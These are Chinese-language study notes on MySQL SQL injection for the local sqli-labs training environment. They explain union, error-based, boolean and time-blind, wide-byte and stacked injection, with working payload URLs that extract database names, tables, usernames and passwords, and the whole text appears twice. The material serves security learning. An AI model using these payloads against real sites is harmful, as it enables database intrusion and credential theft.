SQL注入
数据库语句:
- DQL查询语句
- DML 管理语句
- DCL: 控制语句
- DDL: 定义语句
查询语句的基本结构:
select 查询的内容(如果查询所有用*) from 目标表;
select 查询的内容(如果查询所有用*) from 目标表 where 条件参数;
插入语句
insert into 表名 values(1,2,3,);
insert into 表名 列(1,列2,列3) values(1,2,3);
更改语句
update 表名 set 更改的内容 where 条件参数;
删除语句
delete from 表名 where 条件参数;
order by 语句
查询表后加:例如 select * from user order by id ASC; 根据id列进行升序
order by 参数 ASC ; 升序
order by 参数 DESC ; 降序
order by 数字; 表示根据第几个字段进行排序(也可以对未知的数据统计有多少列)
联合查询
union 可以将多个select 语句 的结果组合成一个结果集
例如: select * from users where id =2 union select * from users where id =5
数据库常用函数
- system_user()系统用户名
- user()用户名
- current_user() 当前用户名
- session_user() 连接数据库用的用户名
- database() 数据库名
- version() mysql数据库版本
- load_file() mysql读取本地文件的函数
- @@datadir 数据库路径
- @@basedir mysql. 安装路径
- @@version_compile_os 操作系统
基本注释符
MySQL自带库
- information_schema : 数据库字典库,存储了其他数据库的元数据。元数据就是例如 库名、表名、列的数据类型、访问权限等
- mysql:核心数据库 存储用户的权限信息和帮助信息
- test:测试库
- performance_schema:性能字典,此数据库为数据库性能优化提供重要的参考信息;
对于这些库:我们应该着重注意 information_schema库
information_schema
主要关注这三个库:
- SCHEMATA表:提供了关于数据库的信息
- TABLES表:给出了关于数据库中的表的信息
- COLUMNS表:给出了表中的列信息
schema表:
提供了关于数据库的信息,其中schema_name 字段为所有数据库名
tables表
有所有数据库的表的信息
table_schema 为库名
table_name 为表名
columns表
column_name 为列名
SQL注入定义
SQL注入:
就是通过sq命令插入到web表单请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
SQL注入本质:将用户输入的数据拼接到原始代码中,从而使得被注入的数据被代码执行
SQL注入原理:
当服务器未严格校验客户端发送的数据时,而导致服务器端SQL语句被恶意修改并成功执行的行为
SQL注入的核心:
将用户的输入拼接到代码中,并当作SQL语句执行
两个关键条件
- 用户可以控制传参
- 原本程序要执行的代码,拼接进了用户输入的数据并且成功执行
SQL注入可能出现的位置
与数据产生交互的地方,就有可能存在sql注入
例如
内部实现/流程的角度
url传参、表单post、cookie、useragent、X-Forwarded-For等的
业务点
新闻/商品等
用户注册/登陆处
修改资料时
找回密码处
搜索框等
SQL注入的危害
这些危害包括但不局限于
- 数据库信息泄露
- 网页篡改
- 网站被挂木马
- 数据库被恶意操作
- 服务器被远程控制
- 破坏硬盘数据,瘫痪全系统
SQL注入分类:
联合注入
1-4 为union联合注入
sqli第一关
确定是单引闭合字符串型
取列:http://127.0.0.1/sqli/Less-1/?id=1%27%20order%20by%204%20--+ 4的时候报错,3不会说明列为3列
数据库版本: 5.5.53 127.0.0.1/sqli/Less-1/?id=99' union select 1,2, version()--+
版本名、库名:5.5.3 sec
http://127.0.0.1/sqli/Less-1/?id=99%27%20union%20select%201,database(),%20version()%20--+
表名:emails,referers,uagents,users
http://127.0.0.1/sqli/Less-1/?id=99%27%20union%20select%201,2,group_concat(table_name)%20%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20%20--+
列名:id,username,password
http://127.0.0.1/sqli/Less-1/?id=99%27%20union%20select%201,2,group_concat(column_name)%20%20from%20information_schema.columns%20where%20table_schema%20=%20database()%20and%20table_name%20=%27users%27%20--+
数据:
http://127.0.0.1/sqli/Less-1/?id=99%27%20union%20select%201,group_concat(username),group_concat(password)%20from%20users%20--+
sqli 第二关
确定是数值型
判断有几列:http://127.0.0.1/sqli/Less-2/?id=1%20order%20by%203
版本名、库名:5.5.53 security
http://127.0.0.1/sqli/Less-2/?id=99%20union%20select%201,database(),%20version()%20--+
查询表名:emails,referers,uagents,users
http://127.0.0.1/sqli/Less-2/?id=99%20union%20select%201,2,group_concat(table_name)%20%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20%20--+
查询列名:id,username,password
http://127.0.0.1/sqli/Less-2/?id=99%20union%20select%201,2,group_concat(column_name)%20%20from%20information_schema.columns%20where%20table_schema%20=%20database()%20and%20table_name%20=%27users%27%20--+
查询数据:
http://127.0.0.1/sqli/Less-2/?id=99%20union%20select%201,group_concat(username),group_concat(password)%20%20from%20users%20--+
sqli第四关
测试出是") 字符型
取列:http://127.0.0.1/sqli/Less-4/index.php?id=1%22)%20order%20by%203%20--+
判断用户名和密码在那一列:判断出在2和3列
http://127.0.0.1/sqli/Less-4/index.php?id=0%22)%20union%20select%201,2,3%20--+
数据库名、版本:security 5.5.53
http://127.0.0.1/sqli/Less-4/?id=99%22)%20union%20select%201,database(),%20version()%20--+
表名:emails,referers,uagents,users
http://127.0.0.1/sqli/Less-4/?id=99%22)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database()%20--+
列名:id,username,password
http://127.0.0.1/sqli/Less-4/?id=99%22)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20database()%20%20and%20table_name%20=%20%27users%27--+
数据:
127.0.0.1/sqli/Less-4/?id=99") union select 1,group_concat(username),group_concat(password) from users --+
按照数据类型
- 数字型注入
- 字符型注入
按照http请求方法
GET型注入
POST型注入
按照注入方式
- 联合注入
- 报错注入
- 布尔盲注
- 时间盲点
- 宽字节注入
- cookie注入
- 等
手工注入流程
order by(排序,用来判断字段数)
union select (联合查询,用来查询自己想要得到的数据)
database()(可以用来查询数据库)
limit 0,1(限制输出,0表示下标,1表示数量)
information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
information_schema.tables(记录表名信息的表)
information_schema.columns(记录列名信息的表)
table_name (表名)
column_name (列名)and 1=2 union select 1,2
table_schema (数据库名)
报错注入
报错注入原理
:利用报错信息,结合函数进行数据读取的一种方式
场景
:没有回显点 但有报错信息的时候可以使用报错注入
常用函数:
updatexml() – 更新xml文档函数
语法:updatexml(目标xml内容,xml文件路径,更新的内容
可操作的点在第二个文件路径
extractvalue() – 对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
可操作的点在第二个路径上
$$
sqli 5-6 报错注入
查询为字符型'
采用报错注入
查询版本名:~5.5.53
http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20version())),1)%20--+
查询库名:~security
http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database())),1)%20--+
查询表名:~emails,referers,uagents,users~
http://127.0.0.1/sqli/Less-5/?id=9999%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%20--%20qwe
查询列名:id,username,password
http://127.0.0.1/sqli/Less-5/?id=999%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20database()%20and%20table_name%20=%20%27users%27)),1)%20--+
查看数据:
http://127.0.0.1/sqli/Less-5/?id=999%27%20and%20updatexml(1,concat(0x7e,(select%20username%20from%20users%20limit%200,1)),1)%20--+
http://127.0.0.1/sqli/Less-5/?id=999%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20users%20limit%201,1)),1)%20--+
sqli 6
查询版本名:~5.5.53
http://127.0.0.1/sqli/Less-6/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20version())))%20--+
查询库名:~security
http://127.0.0.1/sqli/Less-6/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20database())))%20--+
查询表名:~emails,referers,uagents,users
http://127.0.0.1/sqli/Less-6/?id=999%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database())))%20--+
查询列名:~id,username,password
查询数据:
http://127.0.0.1/sqli/Less-6/?id=999%22%20and%20extractvalue(1,concat(0x7e,(select%20%20username%20from%20users%20limit%200,1)))%20--+
http://127.0.0.1/sqli/Less-6/?id=999%22%20and%20extractvalue(1,concat(0x7e,(select%20%20password%20from%20users%20limit%200,1)))%20--+
$$
盲注
盲注原理
就是在服务器没有错误回显的时候完成的注入攻击
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息
盲注分类
布尔盲注
- 页面有回显,但是不会显示具体的内容
- 只会根据参数信息返回true或者false
时间盲注
- 传参任何东西返回结果都一样
- 页面只要一中结果,true,无论输入任何值都没有返回结果
- 加特定的时间函数,通过查看web函数返回的时间差来判别注入语句是否正确
常用函数
length()函数 返回字符串的长度
substr() 截取字符串
substr(str,m,n) 截取str 从m个i字符开始截取n个字符
concat()拼接函数
ascii()返回字符的ascii码 (将字符转换为acssii对于的数字)
sleep()时间函数,将程序延期执行多少秒
if(条件,条件为真执行的语句,条件为假执行的语句)
sqli 第8关:
布尔盲注:
确定动态网页
网页显示只有成功失败
为单引字符型构造闭合:http://127.0.0.1/sqli/Less-8/?id=1’ --+
截取数据库的长度:经过尝试为8位
http://127.0.0.1/sqli/Less-8/?id=1’ and length(database()) = 8 --+
尝试截取数据库第一个字符:经过尝试第一个字符为115
http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr(database(),1,1))=115 --+
尝试截取数据库第二个字符:经过尝试第一个字符为101
http://127.0.0.1/sqli/Less-8/?id=1’ and ascii(substr(database(),2,1))=101 --+
sqli 第9关:
时间盲注
为单引号字符型构造闭合:
http://127.0.0.1/sqli/Less-8/?id=1’ and sleep(5) --+
确定if语句是否可以用:
http://127.0.0.1/sqli/Less-9/?id=1 ’ and if(1=2,sleep(3),sleep(5)) – ad
确定版本是5或者以上:
http://127.0.0.1/sqli/Less-9/?id=1’ and if (substr(version(),1,1)=5,sleep(2),sleep(5)) – qwe
尝试截取第一个字符:经过尝试第一个字符为115
http://127.0.0.1/sqli/Less-9/?id=1’ and if (ascii(substr(database(),1,1))=115,null,sleep(5)) – qwe
尝试截取第二个字符:经过尝试第一个字符为101
http://127.0.0.1/sqli/Less-9/?id=1’ and if (ascii(substr(database(),2,1))=101,null,sleep(5)) – qwe
宽字节注入
addslashes()函数
判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线
魔术引号函数的作用:当PHP的传参中有特殊字符就会再前面加转义字符’',来做一定的过滤
场景
如果网站使用了 addslashes()函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入
因为网站使用编码大多数是UTF-8,这种编码格式一个汉字为三个字节,而mysql数据库的编码使用的是GBK,一个汉字占用2个字节
所以可以采用中文去将\合并成字符,从而是我们注入的数据能够不被转义
sqli第32关:
宽字节注入:
场景:url编码采用utf-8,mysql数据库采用GBK
utf-8 一个中文三个字节,GBK一个中文两字节
判断构造闭合为:一个中文加’或者 %df’
http://127.0.0.1/sqli/Less-32/?id=1中’ 有报错
http://127.0.0.1/sqli/Less-32/?id=1中’ --+
判断有几个字段:测试之后为3个字段
http://127.0.0.1/sqli/Less-32/?id=1中’ order by 3 --+
查看回显字段在那两列:回显显示在2,3
http://127.0.0.1/sqli/Less-32/?id=100中’ union select 1,2,3 --+
查看版本号,数据库名:5.5.53 security
http://127.0.0.1/sqli/Less-32/?id=100中’ union select 1,version(),database() --+
查看表名:emails,referers,uagents,users (这步省略)
http://127.0.0.1/sqli/Less-32/?id=100中’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
查看列名:id,username,password
from information_schema.columns where table_schema = database() and table_name =(select table_name from information_schema.tables where table_schema = database() limit 3,1 )–+
查看数据:
http://127.0.0.1/sqli/Less-32/?id=100中’ union select 1,group_concat(username),group_concat(password) from users --+
堆叠注入
sql语句中使用;结束一条语句,我们在结束语句的时候在构造一条语句就可以一起执行了也就是堆叠注入
堆叠注入可以执行任何语句
堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。
SQL注入
数据库语句:
- DQL查询语句
- DML 管理语句
- DCL: 控制语句
- DDL: 定义语句
查询语句的基本结构:
select 查询的内容(如果查询所有用*) from 目标表;
select 查询的内容(如果查询所有用*) from 目标表 where 条件参数;
插入语句
insert into 表名 values(1,2,3,);
insert into 表名 列(1,列2,列3) values(1,2,3);
更改语句
update 表名 set 更改的内容 where 条件参数;
删除语句
delete from 表名 where 条件参数;
order by 语句
查询表后加:例如 select * from user order by id ASC; 根据id列进行升序
order by 参数 ASC ; 升序
order by 参数 DESC ; 降序
order by 数字; 表示根据第几个字段进行排序(也可以对未知的数据统计有多少列)
联合查询
union 可以将多个select 语句 的结果组合成一个结果集
例如: select * from users where id =2 union select * from users where id =5
数据库常用函数
- system_user()系统用户名
- user()用户名
- current_user() 当前用户名
- session_user() 连接数据库用的用户名
- database() 数据库名
- version() mysql数据库版本
- load_file() mysql读取本地文件的函数
- @@datadir 数据库路径
- @@basedir mysql. 安装路径
- @@version_compile_os 操作系统
基本注释符
MySQL自带库
- information_schema : 数据库字典库,存储了其他数据库的元数据。元数据就是例如 库名、表名、列的数据类型、访问权限等
- mysql:核心数据库 存储用户的权限信息和帮助信息
- test:测试库
- performance_schema:性能字典,此数据库为数据库性能优化提供重要的参考信息;
对于这些库:我们应该着重注意 information_schema库
information_schema
主要关注这三个库:
- SCHEMATA表:提供了关于数据库的信息
- TABLES表:给出了关于数据库中的表的信息
- COLUMNS表:给出了表中的列信息
schema表:
提供了关于数据库的信息,其中schema_name 字段为所有数据库名
tables表
有所有数据库的表的信息
table_schema 为库名
table_name 为表名
columns表
column_name 为列名
SQL注入定义
SQL注入:
就是通过sq命令插入到web表单请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
SQL注入本质:将用户输入的数据拼接到原始代码中,从而使得被注入的数据被代码执行
SQL注入原理:
当服务器未严格校验客户端发送的数据时,而导致服务器端SQL语句被恶意修改并成功执行的行为
SQL注入的核心:
将用户的输入拼接到代码中,并当作SQL语句执行
两个关键条件
- 用户可以控制传参
- 原本程序要执行的代码,拼接进了用户输入的数据并且成功执行
SQL注入可能出现的位置
与数据产生交互的地方,就有可能存在sql注入
例如
内部实现/流程的角度
url传参、表单post、cookie、useragent、X-Forwarded-For等的
业务点
新闻/商品等
用户注册/登陆处
修改资料时
找回密码处
搜索框等
SQL注入的危害
这些危害包括但不局限于
- 数据库信息泄露
- 网页篡改
- 网站被挂木马
- 数据库被恶意操作
- 服务器被远程控制
- 破坏硬盘数据,瘫痪全系统
SQL注入分类:
联合注入
按照数据类型
- 数字型注入
- 字符型注入
按照http请求方法
GET型注入
POST型注入
按照注入方式
- 联合注入
- 报错注入
- 布尔盲注
- 时间盲点
- 宽字节注入
- cookie注入
- 等
手工注入流程
order by(排序,用来判断字段数)
union select (联合查询,用来查询自己想要得到的数据)
database()(可以用来查询数据库)
limit 0,1(限制输出,0表示下标,1表示数量)
information_schema(mysql数据库5.0及以上版本,自带数据库,他记录了mysql数据库下所有的数据库名,表名,列名信息)
information_schema.tables(记录表名信息的表)
information_schema.columns(记录列名信息的表)
table_name (表名)
column_name (列名)and 1=2 union select 1,2
table_schema (数据库名)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OvSZdPyb-1677317250932)(G:\知了堂\mackdown\image-20230220194507307.png)]
报错注入
报错注入原理
:利用报错信息,结合函数进行数据读取的一种方式
场景
:没有回显点 但有报错信息的时候可以使用报错注入
常用函数:
updatexml() – 更新xml文档函数
语法:updatexml(目标xml内容,xml文件路径,更新的内容
可操作的点在第二个文件路径
extractvalue() – 对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
可操作的点在第二个路径上
$$
sqli 5-6 报错注入
查询为字符型’
采用报错注入
查询版本名:~5.5.53
http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20version())),1)%20–+
查询库名:~security
http://127.0.0.1/sqli/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20database())),1)%20–+
查询表名:emails,referers,uagents,users
http://127.0.0.1/sqli/Less-5/?id=9999%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())),1)%20–%20qwe
查询列名:id,username,password
http://127.0.0.1/sqli/Less-5/?id=999%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=%20database()%20and%20table_name%20=%20%27users%27)),1)%20–+
查看数据:
http://127.0.0.1/sqli/Less-5/?id=999%27%20and%20updatexml(1,concat(0x7e,(select%20username%20from%20users%20limit%200,1)),1)%20–+
http://127.0.0.1/sqli/Less-5/?id=999%27%20and%20updatexml(1,concat(0x7e,(select%20password%20from%20users%20limit%201,1)),1)%20–+
sqli 6
查询版本名:~5.5.53
http://127.0.0.1/sqli/Less-6/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20version())))%20–+
查询库名:~security
http://127.0.0.1/sqli/Less-6/?id=1%27%20and%20extractvalue(1,concat(0x7e,(select%20database())))%20–+
查询表名:~emails,referers,uagents,users
http://127.0.0.1/sqli/Less-6/?id=999%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema%20=%20database())))%20–+
查询列名:~id,username,password
查询数据:
http://127.0.0.1/sqli/Less-6/?id=999%22%20and%20extractvalue(1,concat(0x7e,(select%20%20username%20from%20users%20limit%200,1)))%20–+
http://127.0.0.1/sqli/Less-6/?id=999%22%20and%20extractvalue(1,concat(0x7e,(select%20%20password%20from%20users%20limit%200,1)))%20–+
$$
盲注
盲注原理
就是在服务器没有错误回显的时候完成的注入攻击
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息
盲注分类
布尔盲注
- 页面有回显,但是不会显示具体的内容
- 只会根据参数信息返回true或者false
时间盲注
- 传参任何东西返回结果都一样
- 页面只要一中结果,true,无论输入任何值都没有返回结果
- 加特定的时间函数,通过查看web函数返回的时间差来判别注入语句是否正确
常用函数
length()函数 返回字符串的长度
substr() 截取字符串
substr(str,m,n) 截取str 从m个i字符开始截取n个字符
concat()拼接函数
ascii()返回字符的ascii码 (将字符转换为acssii对于的数字)
sleep()时间函数,将程序延期执行多少秒
if(条件,条件为真执行的语句,条件为假执行的语句)
sqli 第8关:
布尔盲注:
确定动态网页
网页显示只有成功失败
为单引字符型构造闭合:http://127.0.0.1/sqli/Less-8/?id=1' --+
截取数据库的长度:经过尝试为8位
http://127.0.0.1/sqli/Less-8/?id=1' and length(database()) = 8 --+
尝试截取数据库第一个字符:经过尝试第一个字符为115
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))=115 --+
尝试截取数据库第二个字符:经过尝试第一个字符为101
http://127.0.0.1/sqli/Less-8/?id=1' and ascii(substr(database(),2,1))=101 --+
sqli 第9关:
时间盲注
为单引号字符型构造闭合:
http://127.0.0.1/sqli/Less-8/?id=1' and sleep(5) --+
确定if语句是否可以用:
http://127.0.0.1/sqli/Less-9/?id=1 ' and if(1=2,sleep(3),sleep(5)) -- ad
确定版本是5或者以上:
http://127.0.0.1/sqli/Less-9/?id=1' and if (substr(version(),1,1)=5,sleep(2),sleep(5)) -- qwe
尝试截取第一个字符:经过尝试第一个字符为115
http://127.0.0.1/sqli/Less-9/?id=1' and if (ascii(substr(database(),1,1))=115,null,sleep(5)) -- qwe
尝试截取第二个字符:经过尝试第一个字符为101
http://127.0.0.1/sqli/Less-9/?id=1' and if (ascii(substr(database(),2,1))=101,null,sleep(5)) -- qwe
宽字节注入
addslashes()函数
判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线
魔术引号函数的作用:当PHP的传参中有特殊字符就会再前面加转义字符’',来做一定的过滤
场景
如果网站使用了 addslashes()函数或者开启了魔术单引号,恰巧MYSQL数据库为GBK,就会造成宽字节注入
因为网站使用编码大多数是UTF-8,这种编码格式一个汉字为三个字节,而mysql数据库的编码使用的是GBK,一个汉字占用2个字节
所以可以采用中文去将\合并成字符,从而是我们注入的数据能够不被转义
sqli第32关:
宽字节注入:
场景:url编码采用utf-8,mysql数据库采用GBK
utf-8 一个中文三个字节,GBK一个中文两字节
判断构造闭合为:一个中文加'或者 %df'
http://127.0.0.1/sqli/Less-32/?id=1中' 有报错
http://127.0.0.1/sqli/Less-32/?id=1中' --+
判断有几个字段:测试之后为3个字段
http://127.0.0.1/sqli/Less-32/?id=1中' order by 3 --+
查看回显字段在那两列:回显显示在2,3
http://127.0.0.1/sqli/Less-32/?id=100中' union select 1,2,3 --+
查看版本号,数据库名:5.5.53 security
http://127.0.0.1/sqli/Less-32/?id=100中' union select 1,version(),database() --+
查看表名:emails,referers,uagents,users (这步省略)
http://127.0.0.1/sqli/Less-32/?id=100中' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
查看列名:id,username,password
from information_schema.columns where table_schema = database() and table_name =(select table_name from information_schema.tables where table_schema = database() limit 3,1 )--+
查看数据:
http://127.0.0.1/sqli/Less-32/?id=100中' union select 1,group_concat(username),group_concat(password) from users --+
堆叠注入
sql语句中使用;结束一条语句,我们在结束语句的时候在构造一条语句就可以一起执行了也就是堆叠注入
堆叠注入可以执行任何语句
堆叠注入的局限性
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些程序。